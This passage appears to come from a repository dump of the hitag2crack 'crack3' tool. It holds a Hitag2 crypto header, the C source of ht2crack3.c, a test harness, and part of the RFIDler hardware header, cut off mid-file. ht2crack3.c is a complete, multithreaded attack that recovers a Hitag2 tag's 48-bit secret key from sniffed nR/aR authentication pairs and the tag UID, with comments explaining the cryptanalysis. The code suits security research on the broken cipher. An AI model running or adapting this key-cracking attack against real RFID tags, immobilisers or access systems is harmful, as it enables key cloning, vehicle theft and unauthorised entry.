hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n      update shift register state and generate N cipher bits (N should be <= 32)\n */\n\n\ntypedef struct {\n    uint64_t shiftreg; // naive shift register, required for nonlinear fn input\n    uint64_t lfsr;     // fast lfsr, used to make software faster\n} Hitag_State;\n\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);\n\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);\n\nunsigned int hitag2_benchtest_gen32();\nunsigned int hitag2_benchtest(uint32_t count);\nunsigned hitag2_verifytest();\n\n#endif\t/* HITAGCRYPTO_H */\n\n"
  },
  {
    "path": "hitag2crack/crack3/ht2crack3.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <pthread.h>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitagcrypto.h\"\n#include \"util.h\"\n\n// max number of NrAr pairs to load - you only need 136 good pairs, but this\n// is the max\n#define NUM_NRAR 1024\n#define NUM_THREADS 8\n\n// table entry for Tkleft\nstruct Tklower {\n    uint64_t yxorb;\n    char notb32;\n    uint64_t klowery;\n};\n\n// table entry for nR aR pair\nstruct nRaR {\n    uint64_t nR;\n    uint64_t aR;\n};\n\n// struct to hold data for thread\nstruct threaddata {\n    uint64_t uid;\n    struct nRaR *TnRaR;\n    unsigned int numnrar;\n    uint64_t klowerstart;\n    uint64_t klowerrange;\n};\n\nvoid printbin(uint64_t val)\n{\n    int i;\n\n    for (i=0; i<64; i++) {\n        if (val & 0x8000000000000000) {\n            printf(\"1\");\n        } else {\n            printf(\"0\");\n        }\n        val = val << 1;\n    }\n}\n\nvoid printstate(Hitag_State *hstate)\n{\n    printf(\"shiftreg =\\t\");\n    printbin(hstate->shiftreg);\n    printf(\"\\n\");\n}\n\n\n\n// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number\n// these and the following hitag2_crypt function taken from Rfidler\n#define pickbits2_2(S, A, B)       ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )\n#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )\n#define pickbits1_1_2(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 0xC) )\n#define pickbits2_1_1(S, A, B, C)  ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \\\n                                   ((S >> (C - 3)) & 8) )\n#define pickbits1_2_1(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \\\n                                   ((S >> (C - 3)) & 8) )\n\n\nstatic uint32_t hitag2_crypt(uint64_t s)\n{\n    const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001\n    const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001\n    const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011\n    uint32_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; \n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;\n\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n\n// this function is a modification of the filter function f, based heavily\n// on the hitag2_crypt function in Rfidler\nint fnP(uint64_t klowery)\n{\n    const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001\n    const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001\n    const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011\n    uint32_t i;\n\n    i =  (ht2_function4a >> pickbits2_2 (klowery, 2, 5)) & 1; \n    i |= ((ht2_function4b << 1) >> pickbits1_1_2 (klowery, 8, 12, 14)) & 0x02;\n    i |= ((ht2_function4b << 2) >> pickbits1x4 (klowery, 17, 21, 23, 26)) & 0x04;\n    i |= ((ht2_function4b << 3) >> pickbits2_1_1 (klowery, 28, 31, 33)) & 0x08;\n\n    // modified to use reference implementation approach\n    // orig fc table is 0x7907287B = 0111 1001 0000 0111    0010 1000 0111 1011\n    // we ignore the top bit (bit 4) of the parameter, so therefore create a new\n    // table that indicates which bit positions are the same if the top bit is 1 or 0\n    return (ht2_function4p >> i) & 1;\n}\n\n// comparison function for sorting/searching Tklower entries\nint Tk_cmp(const void *v1, const void *v2)\n{\n    const struct Tklower *Tk1 = (struct Tklower *)v1;\n    const struct Tklower *Tk2 = (struct Tklower *)v2;\n\n    if (Tk1->yxorb < Tk2->yxorb) {\n        return -1;\n    } else if (Tk1->yxorb > Tk2->yxorb) {\n        return 1;\n    }\n\n    return 0;\n}\n\n// test for bad guesses of kmiddle\nint is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) {\n\n    struct Tklower *result, target;\n\n    // \"If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0]\n    // then the attacker learns that kmiddle is a bad guess... otherwise, if\n    // !b32 == aR[0] then kmiddle is still a viable guess.\"\n\n    target.yxorb = z;\n    target.notb32 = 0;\n    result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp);\n\n    if (result) {\n        if (result->notb32 != aR0) {\n            return 1;\n        }\n    } else {\n        return 2;\n    }\n\n    return 0;\n}\n\n// function to test if a partial key is valid\nint testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR)\n{\n    uint64_t kupper;\n    uint64_t key;\n    Hitag_State hstate;\n    uint64_t b;\n    uint32_t revaR;\n    uint32_t normaR;\n\n    // normalise aR\n    revaR = rev32(aR);\n    normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24));\n\n    // search for remaining 14 bits\n    for (kupper=0; kupper < 0x3fff; kupper++) {\n        key = (kupper << 34) | pkey;\n        hitag2_init(&hstate, key, uid, nR);\n        b = hitag2_nstep(&hstate, 32);\n        if ((normaR ^ b) == 0xffffffff) {\n            *out = key;\n            return 1;\n        }\n    } \n    return 0;\n}\n\n\n\n\n\n\n\n// some notes on how I think this attack should work.\n// due to the way fc works, in a number of cases, it doesn't matter what\n// the most significant bits are doing for it to produce the same result.\n// These are the most sig 14 bits to be clear.  Looking at fc it is poss\n// to see cases where the most sig bit of the input to fc (which is made\n// from fa on 4 of the most sig bits from bit 34 onwards) does not affect\n// whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value\n// as input 0b1ABCD.\n// The PRNG is initialised by setting the lower 32 bits to the UID, with\n// the upper 16 bits set to the lower 16 bits of the key.  Next the 32\n// upper bits of the key are XORed with the private nonce and these are\n// shifted in, with the PRNG outputting bits b0 to b31.  These bits are\n// used to encrypt (XOR with) the nonce to produce nR, which is sent to\n// the card.\n// (The card should init the PRNG with the same UID and lower 16 bits of\n// the key, receive the nR, then shift it in bit by bit while xoring each\n// bit with its output, and the key - this essentially decrypts the nR to\n// the nonce XOR the upper 32 bits of the key, while shifting it in.\n// The card's PRNG will then be in the same state as the RWD.)\n// By knowing the UID and guessing the lower 16 bits of the key, and\n// focusing on nR values that don't affect the upper bits of fc, we can\n// limit our guesses to a smaller set than a full brute force and\n// effectively work out candidates for the lower 34 bits of the key.\n\n\nvoid *crack(void *d)\n{\n    struct threaddata *data = (struct threaddata *)d;\n    uint64_t uid;\n    struct nRaR *TnRaR;\n    unsigned int numnrar;\n\n    Hitag_State hstate;\n    int i, j;\n\n    uint64_t klower;\n    uint64_t kmiddle;\n    uint64_t y;\n    uint64_t ytmp;\n    uint64_t klowery;\n    unsigned int count = 0;\n    uint64_t bit;\n    uint64_t b;\n    uint64_t z;\n    uint64_t foundkey;\n    uint64_t revkey;\n    int ret;\n    unsigned int found = 0;\n    unsigned int badguess = 0;\n\n    struct Tklower *Tk = NULL;\n\n    if (!data) {\n        printf(\"Thread data is NULL\\n\");\n        exit(1);\n    }\n\n    uid = data->uid;\n    TnRaR = data->TnRaR;\n    numnrar = data->numnrar;\n\n    // create space for tables\n    Tk = (struct Tklower *)malloc(sizeof(struct Tklower) * 0x40000);\n    if (!Tk) {\n        printf(\"cannot malloc Tk\\n\");\n        exit(1);\n    }\n\n    // find keys\n    for (klower=data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) {\n        printf(\"trying klower = 0x%05lx\\n\", klower);\n        // build table\n        count = 0;\n        for (y=0; y<0x40000; y++) {\n            // create klowery\n            klowery = (y << 16) | klower;\n            // check for cases where right most bit of fc doesn't matter\n\n            if (fnP(klowery)) {\n                // store klowery\n                Tk[count].klowery = klowery;\n                // build the initial prng state\n                hstate.shiftreg = (klower << 32) | uid;\n                // zero the lfsr so only 0s are inserted\n                hstate.lfsr = 0;\n                // insert y into shiftreg and extract keystream, reversed order\n                b = 0;\n                ytmp = y;\n                for (j=0; j<2; j++) {\n                    hstate.shiftreg = hstate.shiftreg | ((ytmp & 0xffff) << 48);\n                    for (i=0; i<16; i++) {\n                        hstate.shiftreg = hstate.shiftreg >> 1;\n                        bit = hitag2_crypt(hstate.shiftreg);\n                        b = (b >> 1) | (bit << 31);\n                    }\n                    ytmp = ytmp >> 16;\n                }\n\n                // store the xor of y and b0-17\n                Tk[count].yxorb = y ^ (b & 0x3ffff);\n\n                // get and store inverse of next bit from prng\n                // don't need to worry about shifting in the new bit because\n                // it doesn't affect the filter function anyway\n                hstate.shiftreg = hstate.shiftreg >> 1;\n                Tk[count].notb32 = hitag2_crypt(hstate.shiftreg) ^ 0x1;\n\n                // increase count\n                count++;\n            }\n        }\n\n        qsort(Tk, count, sizeof(struct Tklower), Tk_cmp);\n\n        // look for matches\n        for (kmiddle=0; kmiddle<0x40000; kmiddle++) {\n            // loop over nRaR pairs\n            badguess = 0;\n            found = 0;\n            for (i=0; (i<numnrar) && (!badguess); i++) {\n                z = kmiddle ^ (TnRaR[i].nR & 0x3ffff);\n                ret = is_kmiddle_badguess(z, Tk, count, TnRaR[i].aR & 0x1);\n                if (ret == 1) {\n                    badguess = 1;\n                } else if (ret == 0) {\n                    found++;\n                }\n            }\n\n            if ((found) && (!badguess)) {\n                // brute\n                printf(\"possible partial key found: 0x%012lx\\n\", ((uint64_t)kmiddle << 16) | klower);\n\n                if (testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[0].nR, TnRaR[0].aR) &&\n                    testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[1].nR, TnRaR[1].aR)) {\n                    // normalise foundkey\n                    revkey = rev64(foundkey);\n                    foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);\n                    printf(\"\\n\\nSuccess - key = %012lX\\n\", foundkey);\n                    exit(0);\n\n                    return (void *)foundkey;\n                }\n\n            }\n\n        }\n    }\n\n    return NULL;\n}\nint main(int argc, char *argv[])\n{\n    FILE *fp;\n    int i;\n    pthread_t threads[NUM_THREADS];\n    void *status;\n\n    uint64_t uid;\n    uint64_t klowerstart;\n    unsigned int numnrar = 0;\n    char *buf = NULL;\n    char *buft1 = NULL;\n    char *buft2 = NULL;\n    size_t lenbuf = 64;\n\n    struct nRaR *TnRaR = NULL;\n    struct threaddata *tdata = NULL;\n\n    if (argc < 3) {\n        printf(\"ht2crack3 uid nRaRfile\\n\");\n        exit(1);\n    }\n\n    // read the UID into internal format\n    if (!strncmp(argv[1], \"0x\", 2)) {\n        uid = rev32(hexreversetoulong(argv[1] + 2));\n    } else {\n        uid = rev32(hexreversetoulong(argv[1]));\n    }\n\n    // create table of nR aR pairs\n    TnRaR = (struct nRaR *)malloc(sizeof(struct nRaR) * NUM_NRAR);\n\n    // open file\n    fp = fopen(argv[2], \"r\");\n    if (!fp) {\n        printf(\"cannot open nRaRfile\\n\");\n        exit(1);\n    }\n\n    // set klowerstart (for debugging)\n    if (argc > 3) {\n        klowerstart = strtol(argv[3], NULL, 0);\n    } else {\n        klowerstart = 0;\n    }\n\n    // read in nR aR pairs\n    numnrar = 0;\n    buf = (char *)malloc(lenbuf);\n    if (!buf) {\n        printf(\"cannot malloc buf\\n\");\n        exit(1);\n    }\n\n    while (getline(&buf, &lenbuf, fp) > 0) {\n        buft1 = strchr(buf, ' ');\n        if (!buft1) {\n            printf(\"invalid file input on line %d\\n\", numnrar + 1);\n            exit(1);\n        }\n        *buft1 = 0x00;\n        buft1++;\n        buft2 = strchr(buft1, '\\n');\n        if (!buft2) {\n            printf(\"no CR on line %d\\n\", numnrar + 1);\n            exit(1);\n        }\n        *buft2 = 0x00;\n        if (!strncmp(buf, \"0x\", 2)) {\n            TnRaR[numnrar].nR = rev32(hexreversetoulong(buf+2));\n            TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1+2));\n        } else {\n            TnRaR[numnrar].nR = rev32(hexreversetoulong(buf));\n            TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1));\n        }\n        numnrar++;\n    }\n\n    // close file\n    fclose(fp);\n    fp = NULL;\n\n    printf(\"Loaded %d NrAr pairs\\n\", numnrar);\n\n    // create table of thread data\n    tdata = (struct threaddata *)malloc(sizeof(struct threaddata) * NUM_THREADS);\n    if (!tdata) {\n        printf(\"cannot malloc threaddata\\n\");\n        exit(1);\n    }\n\n    for (i=0; i<NUM_THREADS; i++) {\n        tdata[i].uid = uid;\n        tdata[i].TnRaR = TnRaR;\n        tdata[i].numnrar = numnrar;\n        tdata[i].klowerrange = 0x10000 / NUM_THREADS;\n        tdata[i].klowerstart = i * tdata[i].klowerrange;\n    }\n\n    if (klowerstart) {\n        // debug mode only runs one thread from klowerstart\n        tdata[0].klowerstart = klowerstart;\n        crack(tdata);\n    } else {\n        // run full threaded mode\n        for (i=0; i<NUM_THREADS; i++) {\n            if (pthread_create(&(threads[i]), NULL, crack, (void *)(tdata + i))) {\n                printf(\"cannot start thread %d\\n\", i);\n                exit(1);\n            }\n        }\n    }\n\n    // wait for threads to finish\n    for (i=0; i<NUM_THREADS; i++) {\n        if (pthread_join(threads[i], &status)) {\n            printf(\"cannot join thread %d\\n\", i);\n            exit(1);\n        }\n        printf(\"thread %i finished\\n\", i);\n        if (status) {\n            printf(\"Key = %012lX\\n\", (uint64_t)status);\n            exit(0);\n        }\n    }\n\n    printf(\"Did not find key :(\\n\");\n    pthread_exit(NULL);\n\n    return 0;\n}\n\n"
  },
  {
    "path": "hitag2crack/crack3/ht2test.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitagcrypto.h\"\n#include \"util.h\"\n\n\n\nint main(int argc, char *argv[])\n{\n    Hitag_State hstate;\n    FILE *fp;\n    char *line = NULL;\n    size_t linelen = 0;\n    long len = 0;\n    char *nr = NULL;\n    char *ar = NULL;\n    uint32_t arval;\n    uint32_t ks;\n    char *key;\n    char *uid;\n\n    if (argc < 4) {\n        printf(\"ht2test nRaRfile KEY UID\\n\");\n        exit(1);\n    }\n\n    fp = fopen(argv[1], \"r\");\n    if (!fp) {\n        printf(\"cannot open file\\n\");\n        exit(1);\n    }\n\n    if (!strncmp(argv[2], \"0x\", 2)) {\n        key = argv[2] + 2;\n    } else {\n        key = argv[2];\n    }\n\n    if (!strncmp(argv[3], \"0x\", 2)) {\n        uid = argv[3] + 2;\n    } else {\n        uid = argv[3];\n    }\n\n    while ((len = getline(&line, &linelen, fp)) > 0) {\n        if (len > 16) {\n            ar = strchr(line, ' ');\n            *ar = 0x00;\n            ar++;\n            ar[strlen(ar)-1] = 0x00;\n            if (!strncmp(line, \"0x\", 2)) {\n                nr = line + 2;\n            } else {\n                nr = line;\n            }\n            hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nr)));\n\n            arval = strtol(ar, NULL, 16);\n            ks = hitag2_nstep(&hstate, 32);\n\n\n            if ((arval ^ ks) != 0xffffffff) {\n                printf(\"FAIL! nR = %s, aR = %s\\n\", line, ar);\n            } else {\n                printf(\"SUCCESS! nR = %s, aR = %s\\n\", line, ar);\n            }\n        }\n    }\n\n    fclose(fp);\n\n    return 0;\n}\n\n"
  },
  {
    "path": "hitag2crack/crack3/rfidler.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include <stdio.h>\n#include <string.h>\n\n// BCD hardware revision for usb descriptor (usb_descriptors.c)\n#define RFIDLER_HW_VERSION        0x020\n\n// max sizes in BITS\n#define MAXBLOCKSIZE        512\n#define MAXTAGSIZE          4096\n#define MAXUID              512\n\n#define TMP_LARGE_BUFF_LEN  2048\n#define TMP_SMALL_BUFF_LEN  256\n#define ANALOGUE_BUFF_LEN   8192\n\n#define COMMS_BUFFER_SIZE   128\n\n#define DETECT_BUFFER_SIZE  512\n\n#define SAMPLEMASK          ~(BIT_1 | BIT_0)    // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period\n\n// globals\n\nextern BOOL             WiegandOutput;                      // Output wiegand data whenenver UID is read\nextern BYTE             *EMU_Reset_Data;                    // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*'  terminated\nextern BYTE             *EMU_Data;                          // Pointer to current location in EMU_Reset_Data\nextern BYTE             EMU_ThisBit;                        // The next data bit to transmit\nextern BYTE             EMU_SubCarrier_T0;                  // Number of Frame Clocks for sub-carrier '0'\nextern BYTE             EMU_SubCarrier_T1;                  // Number of Frame Clocks for sub-carrier '1'\nextern unsigned int     EMU_Repeat;                         // Number of times to transmit full data set\nextern BOOL             EMU_Background;                     // Emulate in the background until told to stop\nextern unsigned int     EMU_DataBitRate;                    // Number of Frame Clocks per bit\nextern BYTE             TmpBits[TMP_LARGE_BUFF_LEN];        // Shared scratchpad\nextern BYTE             ReaderPeriod;                       // Flag for sample display\nextern unsigned char    Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer\nextern BYTE             Interface;                          // user interface - CLI or API\nextern BYTE             CommsChannel;                       // user comms channel - USB or UART\nextern BOOL             FakeRead;                           // flag for analogue sampler to signal it wants access to buffers during read\nextern BOOL             PWD_Mode;                           // is this tag password protected?\nextern BYTE             Password[9];                        // 32 bits as HEX string set with LOGIN\nextern unsigned int     Led_Count;                          // LED status counter, also used for entropy\nextern unsigned long    Reader_Bit_Count;                   // Reader ISR bit counter\nextern char             Previous;                           // Reader ISR previous bit type\n\n// RWD (read/write device) coil state\nextern BYTE             RWD_State;                              // current state of RWD coil\nextern unsigned int     RWD_Fc;                                 // field clock in uS\nextern unsigned int     RWD_Gap_Period;                         // length of command gaps in OC5 ticks\nextern unsigned int     RWD_Zero_Period;                        // length of '0' in OC5 ticks\nextern unsigned int     RWD_One_Period;                         // length of '1' in OC5 ticks\nextern unsigned int     RWD_Sleep_Period;                       // length of initial sleep to reset tag in OC5 ticks\nextern unsigned int     RWD_Wake_Period;                        // length required for tag to restart in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_TX_RX;                  // length to wait when switching from TX to RX in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_RX_TX;                  // length to wait when switching from RX to TX in OC5 ticks\nextern unsigned int     RWD_Post_Wait;                          // low level ISR wait period in OC5 ticks\nextern unsigned int     RWD_OC5_config;                         // Output Compare Module settings\nextern unsigned int     RWD_OC5_r;                              // Output Compare Module primary compare value\nextern unsigned int     RWD_OC5_rs;                             // Output Compare Module secondary compare value\nextern BYTE             RWD_Command_Buff[TMP_SMALL_BUFF_LEN];   // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated\nextern BYTE             *RWD_Command_ThisBit;                   // Current command bit\nextern BOOL             Reader_ISR_State;                       // current state of reader ISR\n\n// NVM variables\n// timings etc. that want to survive a reboot should go here\ntypedef struct {\n    BYTE            Name[7];  // will be set to \"RFIDler\" so we can test for new device\n    BYTE            AutoRun[128]; // optional command to run at startup\n    unsigned char   TagType;\n    unsigned int    PSK_Quality;\n    unsigned int    Timeout;\n    unsigned int    Wiegand_Pulse;\n    unsigned int    Wiegand_Gap;\n    BOOL            Wiegand_IdleState;\n    unsigned int    FrameClock;\n    unsigned char   Modulation;\n    unsigned int    DataRate;\n    unsigned int    DataRateSub0;\n    unsigned int    DataRateSub1;\n    unsigned int    DataBits;\n    unsigned int    DataBlocks;\n    unsigned int    BlockSize;\n    unsigned char   SyncBits;\n    BYTE            Sync[4];\n    BOOL            BiPhase;\n    BOOL            Invert;\n    BOOL            Manchester;\n    BOOL            HalfDuplex;\n    unsigned int    Repeat;\n    unsigned int    PotLow;\n    unsigned int    PotHigh;\n    unsigned int    RWD_Gap_Period;\n    unsigned int    RWD_Zero_Period;\n    unsigned int    RWD_One_Period;\n    unsigned int    RWD_Sleep_Period;\n    unsigned int    RWD_Wake_Period;\n    unsigned int    RWD_Wait_Switch_TX_RX;\n    unsigned int    RWD_Wait_Switch_RX_TX;\n} StoredConfig;\n\n// somewhere to store TAG data. this will be interpreted according to the TAG\n// type.\ntypedef struct {\n    BYTE   TagType;            // raw tag type\n    BYTE   EmulatedTagType;    // tag type this tag is configured to emulate\n    BYTE   UID[MAXUID + 1];    // Null-terminated HEX string\n    BYTE   Data[MAXTAGSIZE];   // raw data\n    unsigned char   DataBlocks;         // number of blocks in Data field\n    unsigned int    BlockSize;          // blocksize in bits\n} VirtualTag;\n\nextern StoredConfig RFIDlerConfig;\nextern VirtualTag RFIDlerVTag;\nextern BYTE TmpBuff[NVM_PAGE_SIZE];\nextern BYTE DataBuff[ANALOGUE_BUFF_LEN];\nextern unsigned int DataBuffCount;\nextern const BYTE *ModulationSchemes[];\nextern const BYTE *OnOff[];\nextern const BYTE *HighLow[];\nextern const BYTE *TagTypes[];\n\n// globals for ISRs\nextern BYTE EmulationMode;\nextern unsigned long HW_Bits;\nextern BYTE HW_Skip_Bits;\nextern unsigned int PSK_Min_Pulse;\nextern BOOL PSK_Read_Error;\nextern BOOL Manchester_Error;\nextern BOOL SnifferMode;\nextern unsigned int Clock_Tick_Counter;\nextern BOOL Clock_Tick_Counter_Reset;\n\n// smart card lib\n#define MAX_ATR_LEN\t\t\t(BYTE)33\nextern BYTE scCardATR[MAX_ATR_LEN];\nextern BYTE scATRLength;\n\n// RTC\nextern rtccTime\tRTC_time;\t\t\t// time structure\nextern rtccDate\tRTC_date;\t\t\t// date structure\n\n// digital pots\n#define POTLOW_DEFAULT      100\n#define POTHIGH_DEFAULT     150\n#define DC_OFFSET           60                 // analogue circuit DC offset (as close as we can get without using 2 LSB)\n#define VOLTS_TO_POT        0.019607843F\n\n// RWD/clock states\n#define                 RWD_STATE_INACTIVE              0       // RWD not in use\n#define                 RWD_STATE_GO_TO_SLEEP           1       // RWD coil shutdown request\n#define                 RWD_STATE_SLEEPING              2       // RWD coil shutdown for sleep period\n#define                 RWD_STATE_WAKING                3       // RWD active for pre-determined period after reset\n#define                 RWD_STATE_START_SEND            4       // RWD starting send of data\n#define                 RWD_STATE_SENDING_GAP           5       // RWD sending a gap\n#define                 RWD_STATE_SENDING_BIT           6       // RWD sending a data bit\n#define                 RWD_STATE_POST_WAIT             7       // RWD finished sending data, now in forced wait period\n#define                 RWD_STATE_ACTIVE                8       // RWD finished, now just clocking a carrier\n\n// reader ISR states\n#define                 READER_STOPPED                  0       // reader not in use\n#define                 READER_IDLING                   1       // reader ISR running to preserve timing, but not reading\n#define                 READER_RUNNING                  2       // reader reading bits\n\n\n// user interface types\n#define INTERFACE_API                   0\n#define INTERFACE_CLI                   1\n\n// comms channel\n#define COMMS_NONE                      0\n#define COMMS_USB                       1\n#define COMMS_UART                      2\n\n#define MAX_HISTORY                     2 // disable most of history for now - memory issue\n\n// tag write retries\n#define TAG_WRITE_RETRY                 5\n\n// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this\n#define MOD_MODE_NONE                   0\n#define MOD_MODE_ASK_OOK                1\n#define MOD_MODE_FSK1                   2\n#define MOD_MODE_FSK2                   